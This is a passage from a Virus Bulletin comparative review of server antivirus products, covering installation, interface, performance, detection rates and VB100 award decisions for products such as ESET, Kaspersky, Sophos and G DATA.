Digital Defender has the same straightforward installation process and simple interface as Avertive’s solution, differing only in colour scheme. Performance measures were also at the higher end of the mid-range, and scanning speeds similarly languorous in the infected sets. Logging was again somewhat traumatic, with detection data summarily thrown away after a fairly limited amount of disk space had been used up – surely no computer still running would find 20MB too much to dedicate to vital information on potential infections, and server admins would almost certainly find the lack of traceability a problem.

At the end of a lengthy testing period detection rates proved fairly reasonable, with just a single Themida-packed file alerted on in the clean sets, and in the WildList the same batch of items were again mysteriously missed on access, with no problems on demand. This was enough to deny Digital Defender a VB100 award this month, despite a fairly solid performance compared to some of the competition.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 96.61% 62.32% 79.64% 89.49% 0

Emsisoft Anti-Malware 5.0.0.68

Since dropping the ‘a-squared’ name, Emsisoft’s solution has come on in leaps and bounds, leaving behind the stability issues of early appearances and living up to the excellent detection levels of Ikarus, provider of the scanning engine at the core of the product. The install is fast and easy, and the interface clean and clear, with a fair level of configuration for what is mainly a home-user product. One thing which was missing from our point of view was the option to simply prevent access to infected items without either prompting for user input or automatically trying to clean up, but this would be a minor issue for most users.

RAM usage was fairly low, but CPU drain fairly high, while scanning speeds were slowish and on-access overheads fairly high. Despite being slowed down by the need to quarantine every item spotted on access, there were no stability problems when running through the demanding infected sets, and in the end detection scores were as superb as we have come to expect, with excellent figures in all sets. In the clean sets, a pair of false positives emerged: one in some fairly obscure business software and the other in a utility from hardware manufacturer Belkin. This was enough to deny Emsisoft a VB100 award this month despite an otherwise very strong performance.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 91.74% 97.96% 79.84% 2

eScan Internet Security for Windows 11.0.1139.793

We’ve been quite enjoying working with eScan’s latest version in recent tests. It installs quickly and simply, but does need a reboot, and the interface is colourful and fun-packed, with its shimmery Mac-style icon tray and windows that close with a swirling flourish. Under the stylish surface it continues to provide a wealth of fine-tuning controls, presented in a much more sober fashion, making it simple for the more demanding user to find the most detailed options. On-demand scanning times were initially on the slow side, particularly in our set of media files, but were considerably faster on repeat visits, while on-access overheads were fairly low to begin with and again improved later thanks to some smart caching of results. Both memory and processor usage were also fairly low, making for a very good set of performance results all round.

Detection results were also highly impressive across the board, with no problems in the core certification sets, and eScan comfortably earns another VB100 award for its splendid performance.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 94.52% 98.54% 100.00% 0

ESET NOD32 Antivirus 4 Business Edition 4.2.64.12

Eset’s renowned NOD32 has stuck to the same slick and efficient design for a while now, installing simply, needing no reboot and presenting an interface which combines glossy good looks with easy access to a comprehensive range of controls. The one area which seemed awkward, and indeed we found ourselves unable to persuade to function, was the configuration of archive scanning on access – perhaps something of a specialist requirement, but much more likely to be required in a server environment than any other.

Tests proceeded rapidly, with some decent scanning speeds, overheads and CPU use, and very low memory consumption. Our main scan of infected sets was delayed somewhat thanks to the GUI sticking at 99% for some time, until we realized the scanning was complete but had failed to report this to the world. Harvesting results from the clear and reliable logging system showed the usual stratospheric scores across the board; a couple of adware items spotted in the clean sets do nothing to dent a sterling performance, easily earning ESET yet another VB100 award for its record collection.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 94.84% 98.52% 100.00% 0

Fortinet FortiClient 4.1.3143

The Fortinet product is more business-focused than most, but nowadays includes a free option, presumably for home users. The set-up process is simple enough for any user type, and needs no reboot. The interface is serious and businesslike, but not intimidatingly so, and provides a decent level of controls in a sensible and unflashy manner. Speed tests ran through without problems, showing scanning speeds towards the lower end, slightly above average overheads, and fairly high memory usage.

The detection tests have been somewhat more problematic for Fortinet for several months now, with many files seeming to snag the engine; this time many attempts at running over our large sets simply stopped scanning, either silently or with an unhelpful message reading ‘interrupted’. After much careful coaxing, we managed to get a full set of results for the standard sets, but the RAP sets seemed altogether too much for it, and in the end we had to resort to gathering figures for on-access checking of the RAP sets. These may be somewhat lower than on-demand scores would have been, had it been possible to complete any scans.

The results we eventually obtained were pretty decent, at least for older items, with scores in the later RAP weeks declining to the lowish numbers we used to see from Fortinet before some drastic improvements in the past year. With the WildList covered and no false alarms in the clean sets, Fortinet scrapes through to achieve a VB100 award, despite some clear problems.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 86.13% 95.85% 99.15% 0

Frisk F-PROT Antivirus for Windows 6.0.9.4

F-PROT has to be one of the most stable solutions to regularly take part in our tests – at least in terms of interface design, which seems to have remained unchanged for several years now. The set-up is simple but does require a reboot, and the GUI is plain and stark, with a bare minimum of controls available. It seems to operate quite nicely however, and performance times were mostly reasonable, with only CPU use noticeably above average for this month’s field.

Detection tests ran fairly well too, with the usual error messages popping up to warn that the product had stopped working, which seem to have no effect on the actual running of scans or protection levels. Scores were decent, with a surprising upturn in the latter weeks of the RAP sets, and the WildList caused no problems. However, in the clean sets the same version of the Firefox installer that caused problems earlier was again misidentified as a trojan, and Frisk is thus denied a VB100 award this month. The false alarm was apparently fixed shortly after the product submission date.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 64.18% 85.44% 100.00% 1

F-Secure PSB Server Security 9.00 build 198

F-Secure’s corporate solutions are grouped under the ‘Protection Services for Business’ title, and this one seems properly businesslike, with a web-based interface providing decent control levels for most requirements. The installation process is efficient – a conflict with some networking drivers was noted and resolved without the need for extra work on our part; a reboot is needed to complete. The GUI is fairly well laid out and responds quite nicely – something of a rarity with such approaches – but it does have a tendency to lose touch with its server side and requires frequent repeat logins.

This produced some good results, with excellent scores across the board, steadily declining in the RAP sets but starting high and ending up more than respectable in the ‘week +1’ set. No problems were observed in either the clean or WildList set, and F-Secure is judged worthy of a VB100 award this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 93.66% 97.45% 100.00% 0

G DATA AntiVirus 10.5.132.28

G DATA’s server solution includes an administration suite and client-side protection, which is simple to roll out from the admin interface. This management tool installs fairly easily, resolving a dependency on the .NET framework with a copy bundled with the package, and needs no reboot to complete either its own set-up or that of the protection rolled out to the local system. The design is splendidly clear and provides excellent configuration, although to simplify things for ourselves we allowed control to be ceded to the client side and ran most jobs from there.

Scanning speeds were not bad and improved enormously on repeat attempts, and RAM usage was lower than many despite the dual-engine approach; CPU use was a little above average, but not excessive. Detection rates were almost impeccable, with very little missed anywhere. With no false alarms and the superb detection extending to the WildList set, G DATA easily earns a VB100 award this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 99.29% 99.59% 100.00% 0

Hauri ViRobot Windows Server 3.5

Returning after a lengthy absence from our tests, Hauri is another licensee of the popular BitDefender engine, with some additional technology and definitions of its own added to the mix. The installer is quite fast and simple, with no reboot needed, and the interface looks complete and businesslike, providing plenty of options in a good logical layout. It seemed to respond well to changes, although logging proved extremely slow to export for our larger jobs. On-demand scans were rather slow, and on-access overheads fairly high, but resource usage was quite light.

Detection rates were something of a surprise, with much lower scores than expected, including a fair number of samples missed in the WildList. We assumed that the submission had been provided without updates, although we do make our requirements as clear as possible when accepting products for test. In any case, in the on-access tests many more misses were evident, including the entire set of W32/Polip polymorphic samples, which are much older than most in the sets. With a handful of false alarms to add to its woes, Hauri fails to make the grade for a VB100 this month, although the product shows promise.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 85.00% 67.68% 52.23% 67.93% 96.43% 1

Kaspersky Anti-Virus 6 for Windows Servers 6.0.4.1424

Kaspersky’s version 6 product has a rather lengthy installation process, with multiple steps, but includes many components and protective layers so perhaps this is no surprise; no reboot is needed to complete. The interface is fairly similar to that of the standard desktop version, being an attractive affair in metallic green, with a wealth of controls and options all within easy reach. It ran through the tests in fine time, with some excellent caching of results making for lightning times in the speed tests and both RAM and CPU slightly above this month’s averages.

Detection scores were easily obtained, with the logging system reliable, and although somewhat slow to export it showed none of the issues observed in the desktop solutions in the last comparative. Scores were uniformly excellent, dropping off only in the final week of the RAP sets but still achieving a good score in the proactive week. No problems in the core sets means Kaspersky earns another VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 93.08% 96.82% 100.00% 0

Kaspersky Anti-Virus 8 for Windows Servers Enterprise Edition 8.0.0.495

Version 8 from Kaspersky has a similarly lengthy installation process, split into numerous steps, and this time the interface uses the MMC system, doing so in a pretty stylish and efficient manner, making good use of colour and providing the full range of controls. Scanning speeds were again superb, with slightly higher resource usage than the version 6 edition.

Detection rates were also slightly higher in most areas, showing some good improvements in heuristics and so on in this latest edition, and scores were thus truly excellent. Kaspersky earns a second VB100 award this month, after a pair of splendid showings.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 93.43% 96.94% 100.00% 0

Keniu Antivirus 1.0.0.1062

Keniu provides an OEM product based on the Kaspersky engine for the Chinese market, which is simple and basic but seems to work reasonably well. The install is fairly straightforward and rapid, but we were requested to update online on the deadline day, and found this took well over an hour to complete – presumably this would be considerably faster closer to home base. The GUI is minimalistic with large buttons and only a few options, but ran through our performance tests nicely, with unremarkable speeds and overheads, high-ish CPU consumption and low RAM usage.

Detection results were something of a pain to obtain, logging being once again somewhat broken – lines appear to be trimmed to an arbitrary length, dropping vital details of which items have been detected in many cases. After much effort, including re-running scans over sets doctored to shorten file paths as much as possible, we managed to obtain some results. These appeared reasonably comprehensive, closely approaching those of Kaspersky’s products, but it could well be that some items which were detected were not recognized thanks to the poor quality of the logging. The WildList results were more or less intact however, and showed full coverage, and no false alarms were noted in the clean sets, so Keniu just about earns a VB100 award. Few server admins would find the product ready for production systems though.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 94.23% 93.95% 100.00% 0

Kingsoft Internet Security 2010 2008.11.6.65

Unlike the last few tests there was just a single entry from Kingsoft this month. The standard IS version is nice and easy to install and needs no reboot to complete. The interface is not the prettiest, but is useable and provides for most of our needs; scanning speeds were fairly slow, but overheads and resource usage were fairly low.

Detection rates were frankly abysmal, with the trojans set handled particularly poorly and some astoundingly low scores in the RAP sets – implying that perhaps some vital component of the detection signatures had been missed out of the build submitted (a problem we have seen before). No problems were spotted in the clean sets, but in the WildList set a number of Virut samples went undetected, and Kingsoft is some way from the standard required to earn a VB100 award this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 99.998% 99.998% 8.76% 49.04% 58.64% 0

Microsoft Forefront Client Security 1.5.1981.0

Microsoft’s business product was provided as a special offline set-up, requiring three reboots to get everything in place – presumably this is not the case for regular users running proper management tools. The interface is slick but a little confusing in places, with a lot of verbiage which does not always make clear the purpose of the accompanying checkbox. Logging is also a little on the wordy side, but was rendered usable thanks to some insight from the developers.

Running through the tests proved fairly problem free, with neither scanning speeds nor lag times particularly good but very low resource consumption. Scanning the infected sets took an enormously long time – among the longest of all this month’s products. The product is clearly recording massive amounts of data on each item spotted, and seems to keep it all in memory, only producing a log at the end of the scan – this made for a rather tense few days for us as we waited for it to complete. In the end, though, scores were very solid, with a steady decline across the RAP sets but starting from a very strong baseline, and with no issues in the core sets a VB100 award is comfortably earned.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 88.70% 97.01% 99.74% 0

Norman Endpoint Protection 7.20.0900

Norman’s current product has been having some problems of late, with a run of bad luck in our tests. The installation process is fairly drawn out, with a fair few steps to click through, and at the end it warns that a reboot may be requested in a few minutes. Although no such request appeared, we felt it best to restart the system just in case. Opening the browser-based interface (which required some adjustments to the built-in browser security settings in Server 2003), we found it, as before, rather wobbly and lacking in reassurance, with anti-malware components missing on the initial few attempts. When they finally appeared, we found a basic level of controls which seemed to operate reasonably well, although our instructions not to delete any infected items seemed to go unheeded. We also noted the GUI apparently losing touch with its local server on several occasions, displaying instead a pretty picture of a crash test dummy doodling on a chalk board while we waited for service to be resumed.

Results were obtained without undue difficulty though, showing slow scanning times, and overheads and resource usage sky-high, mainly thanks to the in-depth investigations of the built-in sandbox system. Detection results were no more than reasonable in the main sets, deteriorating somewhat in the infected sets, with an odd rally in the proactive week. The WildList presented no problems though, despite the large number of polymorphic viruses in there, and with no repeat of previous issues in the clean sets, Norman’s run of bad luck comes to an end and a VB100 award is earned.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 69.14% 76.58% 83.78% 0

Qihoo 360 Antivirus 1.1.0.1312

Another Chinese company, Qihoo licenses the BitDefender engine and squeezes it into a much simplified set-up. The installation process is short and sweet, and needs no reboot, and the interface offers large, clear buttons and minimal configuration options. Scanning speeds were mediocre, but overheads and resource usage very low indeed.

Detection tests proceeded without incident, although the on-access component did not seem to function as usual on-read, failing to block access to infected items when simply opened for reading (although its logs and pop-ups claim to have done so). It does at least note their presence however, providing nice, clear, reliable logging, and in final calculations scores were as high as expected – a very respectable showing in all sets. With no problems in the WildList or clean sets, Qihoo easily earns a VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 93.20% 98.03% 100.00% 0

Quick Heal AntiVirus 2011 Server Edition 11.00 (4.0.0.4)

Quick Heal’s products run a brief scan of vital areas prior to installation, but even with this the whole set-up process was over in under a minute, with no reboot and minimal user interaction. The interface is clean, simple and unfussy, providing a decent but not exhaustive level of configuration. Running was generally smooth and stable, although it seemed to do something odd to our performance measuring scripts, which frequently aborted with bizarre error messages and had to be run multiple times to obtain a complete set of results – and even then, it is possible that the recorded RAM usage (high-ish) and CPU drain (low-ish) are not entirely accurate.

Detection scores presented no such problems however, and they showed some fairly respectable levels across the main sets, dropping fairly sharply in the RAP sets. No issues were noted in the core sets, and a VB100 award is duly granted.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 79.14% 91.44% 100.00% 0

Returnil System Safe 2011 3.2.10143.501-REL2

Returnil’s product has been renamed since its last VB100 appearance, adopting the more universal ‘System Safe’ title in place of the old ‘Virtual System’. Installing is fairly simple and, rather surprisingly for a multi-level solution like this, no reboot is required. The interface is pleasant and clear, providing only minimal controls for the anti-virus protection module, which is based on the Frisk detection engine.

Running through the tests was a breeze, although scan times were slow and overheads high, with file access lags and CPU use both well above average for this month’s field. Detection rates were decent though – in some areas a fraction higher than those of other products based on the same technology, implying some more aggressive settings. However, in the WildList a handful of items were not detected, hinting that perhaps slightly older updates had been used. In the clean sets the same false alarm we had been fearing reared its head once again, and Returnil doesn’t quite make it to a second VB100 award this time.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 98.71% 98.71% 65.27% 85.84% 100.00% 1

SGA SGA-VC 2.0

SGA returns to the tests once more, with its product offering an extremely fast installation process which is all over in under 30 seconds and needs no reboot. The interface is a little unusual, not providing much in the way of fine-tuning, and what is available is quite hard to find. Scanning speeds were on the slow side, and performance measures reflect better on the product than others thanks to the rather odd approach to on-access scanning, which doesn’t seem to actually intercept file access so much as note that an infected item has been opened and then, often some time later, take action.

Detection rates in the on-demand scans were mostly quite impressive thanks to the BitDefender engine underlying the product, but a handful of items in the WildList sets were not picked up on due to the default extension list excluding some extensions commonly used by malware to propagate.

Running the on-access tests was rather more difficult, as the scanner’s lack of blocking meant relying on the product’s internal logs – which seemed rather hard to believe – and the actions taken when files were written to the system drive. Trying to piece together information on what was allowed to write and what was logged, over multiple installs and test runs, proved bewildering and inconclusive, with some of the data implying that the scanner regularly shut itself down when under heavy pressure. As a result, we recorded no on-access scores for SGA this month, and no VB100 award can be granted.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 99.03% % 94.66% 98.61% 100.00% 0

Sophos Endpoint Security and Control 9.5

Sophos’s latest business product is as businesslike as we have come to expect, with an efficient and zippy set-up which includes the fairly unusual offer to remove competitor products from the system. No reboot is needed to complete the set-up, but after some problems in the last test we restarted anyway, after disabling the new cloud-based protection layer, which is not covered by our testing methodology. The speed and performance tests ran through fine, with fairly fast scanning times and overheads and performance use somewhat above average.

The detection tests took much longer however, with each detection taking some time despite the live system being switched off. In the end, with time pressing urgently, we decided to abandon the GUI scan and re-run from the command line, using a tool provided with the product. This may have produced slightly lower scores than the product is capable of, even without its live system, but they were still very good indeed in the main sets, and pretty decent in the RAP sets too. No issues were observed in the core sets, and Sophos earns another VB100 award.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 88.35% 90.47% 100.00% 0

VirusBuster for Windows Servers 6.3.14

Last up this month, VirusBuster’s product has already appeared in this report in another guise, and here the experience was pretty similar.

The set-up, though going through several stages, is untaxing and fairly speedy, no reboot being needed to complete, and the MMC-based interface is clunky and lacking in consistency, with some controls not fully functional. The biggest problem was once again logging, with the ‘unlimited’ option less than honest about its true nature, and scans had to be repeated to replace lost sections of information. Server admins would be less likely to run into these problems, unless dealing with a serious infestation on their network.

Scanning speeds were fairly good, but overheads a little heavy, while resource usage was unremarkable. Detection tests ran slowly but produced decent results once complete logs had been obtained, with a reasonable showing across the sets. No problems appeared in the WildList or clean sets, and VirusBuster also earns a VB100 award this month.

ItW ItW (o/a) Trojans Worms & bots Polymorphic False positives 100.00% 100.00% 64.89% 87.51% 89.49% 0

Results tables

Conclusions

We had everything set up for this month’s test good and early, with the aim of speeding testing along in what we knew would be a shorter than usual month, with the annual VB conference approaching fast. However, a combination of a pre-planned holiday and illness in the lab team left the lab unattended for a full week just as testing got underway, and some serious scrambling was required to get through testing in time. This hectic period was not helped by some further manifestations of instability, lack of resilience to tough challenges and general flakiness in a number of products, but in the end we got all the results needed for our report. We have done our utmost to ensure full coverage of our standard array of tests and measurements, and hope that our readers will forgive any minor errors or oversights contained in this report – as soon as we have time, we will of course ensure every ‘i’ is dotted, every ‘t’ is crossed, and every surprising result is confirmed and double-checked.

It should also be noted that several other products were submitted for this month’s test, all of them taking at least a few days of machine time and several installs before it was decided that no results could be obtained due to severe instability or failure to complete any scanning tasks. We saw many more incidents of scans failing to complete, logs being incompletely recorded, and even whole machine failures this month than in any previous test, making for more hair-tearing and nail-biting than ever before. In future we will be much quicker to reject any product which cannot be relied on to run smoothly, and may have to include blank scores for products which fail to record their activities accurately.

Of course it has not all been doom and gloom this month, with many products performing well, and some interesting newcomers joining our lists. Looking forward to the next test, on Windows 7, we expect to see another record-breaking haul of submissions, with many more new faces on the horizon. We can only hope those which have given us so much grief this month can up their game, put in the work required on proper development and QA procedures, and start delivering decent, reliable products in time.

Technical details

Test environment. All tests were performed on identical systems with AMD Phenom II X2 550 processors, 4 GB RAM, dual 80GB and 1TB hard drives, running Microsoft Server 2003, R2, SP2, 32-bit Enterprise Edition.

Any developers interested in submitting products for VB's comparative reviews should contact john.hawes@virusbtn.com. The current schedule for the publication of VB comparative reviews can be found at http://www.virusbtn.com/vb100/about/schedule.xml.

Chapter 9. Calendar

Table of Contents

Anti-malware industry events

Anti-malware industry events

Abstract

Must-attend events in the anti-malware industry - dates, locations and further details.

See the latest calendar online here.